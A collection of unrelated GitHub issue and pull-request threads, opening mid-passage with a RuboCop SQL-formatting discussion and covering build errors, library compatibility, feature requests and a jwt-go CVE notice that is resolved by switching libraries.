      # Virtus attributes
      attribute :some_id, Integer

      protected

      def affected_entities
        affected_cookies = reference[:cookie_ids]
        affected_boxes = reference[:box_ids]
        affected_cars = reference[:car_ids]
        affected_countries = reference[:country_ids]
        affected_factories = reference[:factory_ids]
        @affected_entities ||= ::Entity::Base.where(id: some_id).where(
          sql_string,
          affected_cookies,
          affected_boxes,
          affected_cars,
          affected_countries,
          affected_factories
          )
      end

      def affected_scores
        []
      end

    end

    private

    def sql_string
      <<-SQL
         indicator_entities.cookie_id IN (?) OR
         indicator_entities.box_id IN (?) OR
         indicator_entities.cars_id IN (?) OR
         indicator_entities.country_id IN (?) OR
         indicator_entities.factory_id IN (?)
      SQL
    end
  end
end

I've rewritten all our offensive files using this structure:
some_function(
  "--\n"\
  "SELECT something\n"\
  "FROM SOMETHING"
end

and all the Rubocop errors dissapeared.
When the source code is written like this:
def joined_model
    self.relation(
      "--
      SELECT *
      LEFT JOIN X on Y
      FROM Models"
   )
end

Rubocop throws out the above mentioned errors.

Thanks for the update. I will probably be able to find it with this extra
information.
On Mon, Mar 14, 2016 at 2:44 PM, Arne De Herdt<EMAIL_ADDRESS>wrote:

I've rewritten all our offensive files using this structure:
some_function(
"--\n"
"SELECT something\n"
"FROM SOMETHING"
end
and all the Rubocop errors dissapeared.
When the source code is written like this:
def joined_model
self.relation(
"--
SELECT *
LEFT JOIN X on Y
FROM Models"
)
end
Rubocop throws out the above mentioned errors.
—
Reply to this email directly or view it on GitHub
https://github.com/bbatsov/rubocop/issues/2944#issuecomment-196294632.

If you need more input from my side, just let me know and I'll be happy to help out.
Really love this tool, and supporting it.
Also, writing the code in heredoc style seems to work as well:
def some_function
   ActiveRecord.execute(<<-SQL, param1, param2)
      SELECT *
      FROM Models
      WHERE X IN (?)
      AND Y IN (?)
   SQL
end

I am seeing perhaps a similar problem.  On a fresh reboot of rubocop_todo.yml with enabling Style/StringLiterals:Enabled: double_quotes.  After running rubocop --auto-gen-config, the rubocop tests still seem to fail StringLiteral checks.  I.e. its not successfully autogenerating for that cop.


Add HTTP-429 for quality-on-demand

What type of PR is this?

enhancement

What this PR does / why we need it:
This PR adds additional HTTP status codes to the QoD APIs.

429: Too Many Requests

Which issue(s) this PR fixes:
Fixes #305

@hdamker updated to remove 429 from qos-profiles.

@jlurien Please review as discussed within the QoD meeting


Base Exception are used, instead of subclasses

Can you point to places in the code which would benefit from this?
Creating an entire subclass for each spot where an exception could be raised is definitely overkill.
On Tue, May 17, 2016 at 09:38:22AM -0700, Valentin Lorentz wrote:

You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub:
https://github.com/uiri/toml/issues/50

Closed by 486b09671ce59022df3fa9a2279ca4edb3a14b55


Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed

Probably you have the headers in your PHP file of .htaccess/nginx already


Cannot add dependency to a .NET Core 1.1 project

I am trying to add the 1.0.2 version as a Nuget package to my project, but end up with a:
Package AspNetCore.Authentication.WsFederation 1.0.2 is not compatible with netcoreapp1.1 (.NETCoreApp,Version=v1.1). Package AspNetCore.Authentication.WsFederation 1.0.2 supports: net452 (.NETFramework,Version=v4.5.2)
One or more packages are incompatible with .NETCoreApp,Version=v1.1.

Yes, that is correct. The readme states this project has a hard dependency on the full framework because all the working WsFed libraries only exist in the full framework. As soon as the new WsFed libraries come with .NET Core 2.1, there won't be a need for the library anymore as supposedly the ASP.NET team will have released their implementation using the new library.
The updated library for WsFed is being developed here: https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet. The nightly builds are available on MyGet.

Maybe I am missing the point, but does that mean I cannot depend on this library if I am using .net core?

Correct. You can use ASP.NET Core (not be confused with .NET Core), but you'll have to target the full framework.

Oh I did not get the subtle difference :). Thanks for the clarification!


Tmux notifier

I think it would be awesome to have a notifier sending the notifications to tmux.
I know that there is a command called tmux display-message, which can show messages above the status bar.
I would really appreciate that feature.

tmux might be possible under linux, but it's currently not possible under macOS.

Just like notify-send is not available on OSX or Windows.... I do not see how this should be an issue?

Take a look here; https://github.com/mikaelbr/node-notifier#use-inside-tmux-session

Thanks, but I don't see how this is related? I don't want to send notifications from tmux, but to tmux. Sorry if I'm not understanding 😅

oh.... sorry i misunderstood.
is that even possible? does tmux have it's own notifications system we could hook in to?

Just found a related issue in another one of mikael's repos; https://github.com/mikaelbr/gulp-notify/issues/102. We should probably look into this? @mikaelbr

This might make sense. For instance, if there are some that don't use X (with notify-send installed) and want to display messages.
What we need for this to work is:

A way to detect if user is in tmux session
A precedence order for notifications. If notify-send is installed on the system, should it be used? What about Growl? Is it tmux > notify-send > growl or is that a matter of taste? Depending on precedence order this could break current behaviour and we need to "step carefully".
Implement a new notifier, which will be a simple one. It doesn't require any external vendor and the options seems to be few. From what I can find: https://gist.github.com/JarrodCTaylor/6325263

That is exactly my use case.

That should be pretty easy, I guess. For starters, check the $TERM variable. It should either contain "tmux..." or "screen..."
No idea how to tackle this.... I guess you could just let the user choose his to which notifier to use...
I looked into it, maybe I can help with this one.

In regards to (2.), one of the philosophies behind node-notifier is to work seamlessly on all platforms. One way it does that is to have a designed precedence of what notifiers to use (see decision flow) in addition to being able to specify and override what notifier to use.
I suggest having the precedence order: notify-send > growl > tmux message. This is as both notify-send and growl supports more rich messages. Also I think we maybe will have issues with https://github.com/mikaelbr/node-notifier#use-inside-tmux-session if we do it the other way around.

I think it makes sense for someone who uses tmux to implement this.


Fix builds on macOS

Also applied a pre-commit autoupdate
this fix

https://github.com/bemanproject/optional26/issues/86
https://github.com/bemanproject/optional26/issues/84

coverage: 91.209%. remained the same
when pulling 9d714eaa7a0bc87e71f0fd419b5def7b83fb1945 on ClausKlein:feature/fix-macos-builds
into 5765b9db1487d836c25a5da22ef6465916ccecfb on bemanproject:main.


Update HealthScript.lua

Changed the way the script waits for game.Players.LocalPlayer.
Removed a wait until game:GetService("Players"), as it is contradicting to have a wait for players and a wait for game.Players.LocalPlayer. When you could just have a wait until game.Players.LocalPlayer and accomplish the same thing.

Closing due to having a different pull request for this script open.


zellij: write theme file instead of writing theme into config

Zellij supports both adding themes via your primary config, or adding a theme into a themes folder. This PR writes the theme into the themes folder instead of the default config.
This is useful because you may not be able to write your Zellij config via home manager (Nix KDL support is currently very limited, at least I couldn't figure out how to get the new non-overlapping modes default config written in Nix).
So if this is the case you end up needing to supply your own ~/.config/zellij/config.kdl, which overrides the home manager one with Stylix in it.
By writing to a theme file you avoid this problem entirely.
Red color was also changed to base01 due to previous contrast issues mentioned in #486

Let me know if there is a specific formatter I should use on the code?
I tried looking through the website and searching the repo but couldn't find any reference (I usenixfmt-rfc-style)


FFI 0.3.5 Release has 0.3.4 Version Number

The release binary for FFI 0.3.5 has a 0.3.4 version number

Erm, or not. I had the 0.3.4 tag selected in GitHub and checked the Cargo.toml, so of course it said 0.3.4....
Sorry for the inconvenience.


File Not Upload up to 12 MB PPTX file and also set server file size configuration i geting same Error

; Maximum allowed size for uploaded files.
; http://php.net/upload-max-filesize
upload_max_filesize = 200M
post_max_size 200M
max_input_time 800
max_execution_time 800
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 30
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

Hey @viralchauhan did you check your server configuration beyond php config?
For example in apache the LimitRequestBody value
and RequestReadTimeout
For nginx
client_max_body_size
fastcgi_read_timeout
client_body_temp_path
Check those configuratios and let me know


Data-101 for non-techies

We've had some requests for adding documentation on high level data tutorials to be used by the people team, hiring, scheduling etc. I think this is a really great idea, though a challenging one.
Making a note here for visibility, please add comments with ideas!

Cheat sheet - infographic, miro board

Example questions to answer:

What is etl/elt?
What is cloud? AWS Azure
Why do companies need data platforms?
What's this bronze, silver, gold bucket stuff?
Streaming vs batch?
Spark, pyspark? are these the same thing?

Not needed for the immediate future


Cannot retrieve TypeScript program for this file  import-access/jsdoc

Hey,
so I followed the setup (added config to eslint and tsconfig) and in all of my .tsx files I have the error mentioned above. I see it's specific to this library and I have no idea what it means...

Hi, it is likely that you need to specify project: true in your typescript-eslint setup. This page should help. https://typescript-eslint.io/linting/typed-linting
Current error message isn't very friendly anyway. There's room for improvement 🏠

@uhyo
I also encountered the same problem and the solution you presented worked.
thanks!


Better documentation for remote installation, problems with UI and pod creations

Dear Developers,
I took the latest Kubeless and installed it on a remote cluster. During the installation I faced multiple issues, what I had to trace down and fix. The first was the persistent volume, your documentation does not state, that it is required, maybe it would be good to mention, it could save some time for the others.
The second was the permission, I had to grant cluster admin permission to the kubeless service user to be able to operate in a real environment.
The UI also has a problem, the dropdowns do not match the runtimes, therefore the function creation fails (ex.: python27 to python2.7). (of course I can circumvent it with the cli)
The last issue I am facing is the zoo pod creation for the functions:
2017-09-21 12:58:35,572 [myid:] - INFO  [ProcessThread(sid:0 cport:2181)::PrepRequestProcessor@648] - Got user-level KeeperException when processing sessionid:0x15e9a1343680000 type:create cxid:0x20a zxid:0xbd txntype:-1 reqpath:n/a Error Path:/brokers/topics/kubeless/partitions Error:KeeperErrorCode = NoNode for /brokers/topics/kubeless/partitions
Unfortunately I cannot decode this message, could you please help me to find out where the problem is?
Many thanks in advance,
Kind Regards,
Zoltan

Hi Zoltan thanks for the report,
Can you tell us what version of k8s you are running and how you installed it ?
Also could run the following and paste the output:
kubectl api-versions

thanks,
-Sebastien

Dear Sebastian,
Many thanks for your contact, in the meantime I have resolved the problem. It was related to Topic based function being called from the GUI. I stopped using the GUI and via the CLI everything works fine now. Sorry for the false alarm.
Kind Regards,
Zoltan


Update currency_conversion.pas

What does the program do ?
exchange curency
In what programming language it is written?
pascal

Thank you for participating  in hacktoberfest ❣ if you liked working on this repo you can share it with friends and star this project for helping others


Not able to set breakpoints in scripts without php extensions

Scripts like artisan are php scripts but since they don't have a .php extension, setting breakpoints in the script will not be possible at the moment
Find a possible solution to this problem.

First cut way to get a list of files would be to exec something like the following:
grep "<?php" -a -r * --exclude=*.md | uniq
Would need to worry about symbolic links also.

In the end did not adopt the grep approach. Adopted a more efficient approach.
This can still be improved but should do for now.


URLs escaped before being passed to Slack

Bot Info:

REST API used
Active channel: Slack
Deployment Envirnonment: Azure Bot Service

Issue description
I try to use Slack URL Buttons by using the channelData field.
Here's what looks like my channelData field :
"channelData": {
    "text": "Testing Text",
    "channel": "XXXX",
    "attachments": [
      {
        "callback_id": "postBack",
        "fallback": "Testing Text",
        "actions": [
          {
            "type": "button",
            "text": "Option 1",
            "url": "https://dev.botframework.com/"
          },
          {
            "type": "button",
            "text": "Option 2",
            "value": "option-2",
            "name": "option-2"
          }
        ]
      }
    ]
  }

Here is what is renders :

The URL button is missing.
Expected Behaviour
Testing the exact same message with Slack API Tester, with the following configuration :

channel & token filled appropriately
text: Testing text
attachments

<",
        "fallback": "Testing Text",
        "actions": [
          {
            "type": "button",
            "text": "Option 1",
            "url": "https://dev.botframework.com/"
          },
          {
            "type": "button",
            "text": "Option 2",
            "value": "option-2",
            "name": "option-2"
          }
        ]
      }
    ]

I get

with button "Option 1" effectively redirecting to https://dev.botframework.com/
I expect to get the same thing using channelData field of Bot Service.
Hypothesis
In Slack documentation, they specify that Invalid URLs will result in a message posted with the button omitted. So I suppose there's something with the Bot Service that messes the channelData field, probably trying to escape URLs.
When I try to send the same attachment on Slack API Tester with URL https%3A//dev.botframework.com/, it does not work, as with Bot Service.
Is there any way to prevent Bot Service from escaping URLs ?

Further update, our developer thinks he has discovered a solution to the issue and is working on a fix.  With the US holiday next week, ETA would be end of next week; more likely would be the following week.

Hi @jameslew ,
This is great news, thanks for getting back to me !
Please let me know when the fix is available so I can also update my bots.
Best !

PR has been raised on this.
Fix is expected in prod in the next deployment.
@yoagauthier  @jameslew

@bwamie, has the fix been deployed?  If so, could you close this issue?  Thanks!

Yes, i can confirm this should now be deployed and in production.  Please let us know if you find otherwise.


cmd/ctr: show resolved image platform

Signed-off-by: Stephen J Day<EMAIL_ADDRESS>

Codecov Report

Merging #1504 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #1504   +/-   ##
=======================================
  Coverage   40.82%   40.82%
=======================================
  Files          23       23
  Lines        2920     2920
=======================================
  Hits         1192     1192
  Misses       1451     1451
  Partials      277      277

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 37d049d...ea8adf9. Read the comment docs.

LGTM

LGTM


I cannot build the book

The instructions say to clone the repo and LaTeX the book. But no matter which command I use to LaTeX it, I get no further than
! Undefined control sequence.
l.4 \Language
{en-US}
How exactly do I build the book?

I'm guessing you don't have pdfx.sty installed. Can you attach your log?

I don't think installation instructions mention any pdfx.sty.
Here is my .log file.
forallxyyc.log

It's part of TeXlive, but you have an old version. Update your TeX distribution, or download the current version of pdfx https://ctan.org/pkg/pdfx?lang=en

Ok, thank you. Now I'm stuck on
! Class memoir Error: \footskip (27.46295pt) is too large for \lowermargin (6.9
9733pt) by 20.46562pt.
See the memoir class documentation for explanation.
Type  H   for immediate help.
...
l.31
Yes, I've seen the documentation. It just says to decrease footskip or increase lowermargin, but I don't know what their values should be.

Log please!

Sorry. :-) Here it is.
https://gist.github.com/vedgar/b699eda3b28842700d46eb8ff2851606
(It seems too big to paste here.)

Hm, I'm at a loss. It compiles without error for me on the same version of memoir that you're using. Those dimensions are set automatically. Did you change the source file in any way?

No, but I think I know what's the problem. I used too new pdflatex this time. There is a developer preview of the format that will be released on October 1st (https://www.latex-project.org/news/2019/09/01/LaTeX-dev-format/ for more info), and it gives an error, while the regular one (from December of last year) doesn't. I still think you should fix that, of course, since in few weeks it will become default (or report it to LaTeX project, if you think they've done something wrong).
Also, at https://www.diffchecker.com/5IdZJmTB is the diff of both logs (expires in 23 hours). I think the main difference is the font scaling: look at the line 1911|1917. Dev LaTeX rescales `T1/Baskervaldx-TLF/m/n' to 10.95pt, while current one rescales it to 10.0pt. My intuition is that the bigger fontsize makes less text be able to fit on the page, causing the discrepancy.

After I upgraded to Ubuntu 20.04 I ran into the same problem. I couldn't really figure out what went wrong, but my guess is that \setlxvchars did not work and properly before and somehow on old TeXLive it set the width of the typeblock to 300pt regardless of what the actual font was. That made the textblock to high in most cases. So I have now just hardcoded the width to 300pt in commit dc05ecd1c67be8dc0382153c03f1b236a9cc926a
If you haven't given up can you check if that fixes it for you?

I'll close this unless you still have this problem

Yes, that problem seems solved. There are about 30 over/undefull hboxes, so there are probably more problems, but at least the PDF gets made.

Great, thanks!


"Exception:: Missing implementation of visitAugmentedExpression"

I triggered this exception when I used augmented in some code. I believe augmented is still incomplete so this may be known, but raising it just in case:
foo.dart
import augment 'foo_augmentation.dart';

class A {
  String get p => '';
}

foo_augmentation.dart
augment library 'foo.dart';

augment class A {
  augment String get p => augmented + augmented;
}

Generates the following exception:
1713522077839:Ex:Analysis failed:: C::\Dev\Test Projects\augmentation_testing2\lib\foo.dart context:: exception_20240419_112117_837
Exception:: Missing implementation of visitAugmentedExpression
#0      ThrowingAstVisitor._throw (package::analyzer/dart/ast/visitor.dart::2986::5)
#1      ThrowingAstVisitor.visitAugmentedExpression (package::analyzer/dart/ast/visitor.dart::2457::60)
#2      AugmentedExpressionImpl.resolveExpression (package::analyzer/src/dart/ast/ast.dart::1716::14)
#3      ResolverVisitor.dispatchExpression (package::analyzer/src/generated/resolver.dart::724::16)
#4      TypeAnalyzer.analyzeExpression (package::_fe_analyzer_shared/src/type_inference/type_analyzer.dart::540::9)
#5      BinaryExpressionResolver._resolveUserDefinable (package::analyzer/src/dart/resolver/binary_expression_resolver.dart::279::15)
#6      BinaryExpressionResolver.resolve (package::analyzer/src/dart/resolver/binary_expression_resolver.dart::67::7)
#7      ResolverVisitor.visitBinaryExpression (package::analyzer/src/generated/resolver.dart::1843::31)
#8      BinaryExpressionImpl.resolveExpression (package::analyzer/src/dart/ast/ast.dart::1945::14)
#9      ResolverVisitor.dispatchExpression (package::analyzer/src/generated/resolver.dart::724::16)
#10     TypeAnalyzer.analyzeExpression (package::_fe_analyzer_shared/src/type_inference/type_analyzer.dart::540::9)
#11     ResolverVisitor.visitExpressionFunctionBody (package::analyzer/src/generated/resolver.dart::2327::7)
#12     ExpressionFunctionBodyImpl.resolve (package::analyzer/src/dart/ast/ast.dart::5973::16)
#13     ResolverVisitor.visitMethodDeclaration (package::analyzer/src/generated/resolver.dart::2832::17)
#14     MethodDeclarationImpl.accept (package::analyzer/src/dart/ast/ast.dart::11627::50)
#15     NodeListImpl.accept (package::analyzer/src/dart/ast/ast.dart::12525::20)
#16     ClassDeclarationImpl.visitChildren (package::analyzer/src/dart/ast/ast.dart::2948::13)
#17     ResolverVisitor.visitClassDeclaration (package::analyzer/src/generated/resolver.dart::1935::12)
#18     ClassDeclarationImpl.accept (package::analyzer/src/dart/ast/ast.dart::2938::50)
#19     ResolverVisitor.visitCompilationUnit (package::analyzer/src/generated/resolver.dart::1979::23)
#20     CompilationUnitImpl.accept (package::analyzer/src/dart/ast/ast.dart::3629::50)
#21     LibraryAnalyzer._resolveFile (package::analyzer/src/dart/analysis/library_analyzer.dart::897::10)
#22     LibraryAnalyzer._parseAndResolve (package::analyzer/src/dart/analysis/library_analyzer.dart::594::7)
#23     LibraryAnalyzer.analyze (package::analyzer/src/dart/analysis/library_analyzer.dart::105::5)
#24     AnalysisDriver._analyzeFileImpl.<anonymous closure> (package::analyzer/src/dart/analysis/driver.dart::1386::11)

@scheglov fyi
Btw there are a few things I've been holding off doing (like TextMate grammar updates for macros/augmented) waiting for augmented (so I can write valid tests and ensure I understand syntax for things like augmented in setters correctly) so I'd be interested to know when you think that it's far enough that it's worth trying to proceed with them.

There are also Exception: Missing implementation of visitAugmentedInvocation which, I believe, the same issue.
For an example see https://github.com/dart-lang/co19/blob/master/LanguageFeatures/Augmentation-libraries/augmenting_functions_A06_t01.dart


CVE-2020-26160

Vulnerable versions: <= 3.2.0
Patched version: No fix
jwt-go allows attackers to bypass intended access restrictions in situations with []string{} for m["aud"] (which is allowed by the specification). Because the type assertion fails, "" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check. There is no patch available and users of jwt-go are advised to migrate to golang-jwt at version 3.2.1

Replaced the jwt-go library with golang-jwt in commit 38571c36655befbda9da675e11f795ed0643e544.


refactoring test in the recursive mount

The current recursive mount test has some repeated codes, because the test process is the same as a whole, so it can be refactored later.
https://github.com/containers/youki/pull/1685

@lengrongfu Do you have a plan to contribute to this issue?


New data model

Entry and Tasks

Entry An Entry is the thing that has Fields which require crowd-sourced workers to work on.

Entry's have Metadata which describes the object being worked on, such as links to scanned images and/or coordinates of regions on an image that need work.
Entry's have Fields. Fields are revisioned.

EntryState An Entry can be in different states. EntryState can be a vector composite of several sub-states. For example, (ENG, BUC, CHI) => (ENG=Not Transcribed, ENG-transcribing=2, BUC=Reviewed, CHI=Transcribed). Entry's can be filtered based on their states to create tasks.

Field Fields are the units of output which crowd-sourced workers are required to produce. It is the missing "blanks" on each Entry which need to be filled in. For example, a scanned image of a dictionary entry might have 3 text Fields for the word, the pronunciation and the explanation respectively.

FieldFormatters are applied to each field to sanitise the data before it is stored.

Task Tasks are the minimal units of work that need to be performed on Entry's. Each Task definition correspond to one user interface. A Task is always associated with an Entry.

The effect a Task can have on an Entry can be different, depending on the TaskDefinition. For example, a "Transcribe" Task will add a new revision to the Entry, making changes to the Fields. Alternatively, a "Review" Task might change the state of an Entry to "Reviewed" or to "Needs Rework".

Tasks can be created from TaskTemplates, which defines the input and output field types of the Task.

Queues and the assignment of Tasks

Assignment An assignment is a Task being assigned to a worker. A Task can only be assigned once.

Assignment needs to be completed within the time limit of the Task.
Or it could be abandoned and another assignment is created later.
A Task can be in assignable/non-assignable/assigned/completed states. Only assignable tasks are assigned. Assignable tasks go into different queues.

Queues are linked lists that contain pending assignable tasks. It is usually "First In First Out", but items can be removed from middle.
Assignable Tasks can be assigned by pull or by push.

"By pull" is when the user proactively requests a task. "By push" is when the system pushes the task to some worker (usually automatic) to complete.
"By push" can be implemented using a loop that repeatedly queries and consumes tasks from the Queue.

Pipeline and Events
Pipelines are configurable workflows. A Task can have a few pipelines:

BeforeTaskPipeline which takes void and returns void. It make changes to the task.
AfterTaskPipeline which takes AssignmentResult and returns TaskProcessDecision (whether the assignment is accepted or not).

TransformMiddleware: configurable middleware that transforms (modifies) the AssignmentResult before it is stored. May call FieldFormatters for each field.
ValidateMiddleware: validates the assignment result. If the results violate some rules, the AssignmentResult will be rejected and goes back to the worker. (safeguarding)
DiffLastValidateMiddleware: ensures that there are actual changes.
CheckEntangledTaskResultsMiddleware
ScoreEntangledAssignmentsMiddleware
CommitMiddleware

An Entry can also have Pipelines which functions as hooks as certain events happen:

BeforeEntryCommitPipeline which takes FieldsValue and returns void.
AfterEntryFieldChange which takes void and returns void. This is where to reassign state.

ClassifierMiddleware: (re-assign state) change state of the entry

AfterEntryStateChange: create new tasks based on the new state.

Credit and Assessment System
How to count credits and determine the quality of workers?

By tasks completed
By field edits that go into final revision

Task / assignment has a score. Can be scored manually or by automatic reviews.
Permissions

Task is only assignable to certain roles (permission on queue)
Roles:

Admin
User
Team Manager
Project Manager

Misc

FieldFormatters

introduce task or entry level locks if some operation needs to be exclusive

Entry field storage can be multiple types:

RevisionedFieldsStorage
MultipleResultsStorage (for collecting sensing data)


missing authorization header error

yes

What is the reason?

do you init the client in java side

yes


Chrome Extension Empty Output

Versions:

@xenova/transformers": "^2.1.0
Manifest v3.0

Issue
The final result of the transcription is always an empty text.
Steps to Replicate

Clone this repository
Load it as chrome extension
Enable microphone by clicking "Record"
Activate extension popup (click on icon or press down "Ctrl+B" (windows) OR "Cmd+B" (mac)
Open DevTools inspector by right-clicking and selecting "inspect" option on the extension popup
Hold down "v" to record, release "v" stop recording and to begin transcribing it.
Observe console outputs
he completed output (return value of "transcriber") will be always empty
Line 105 of background.js

Notes:

I had to downgrade to<EMAIL_ADDRESS>or below, otherwise I get the error:

• Uncaught (in promise) Error: Unsupported model type: whisper at Function.from_pretrained (background.bundle. is:2:640741
async background. bundle. is:2:689608

I am mostly copy-pasting code from this repo's worker.js into my repo's background.js (extension worker).

Screenshots:

Hi there. The "unsupported" issue should be fixed in v2.6.1 (it was an issue related to minification). Could you try again with that version?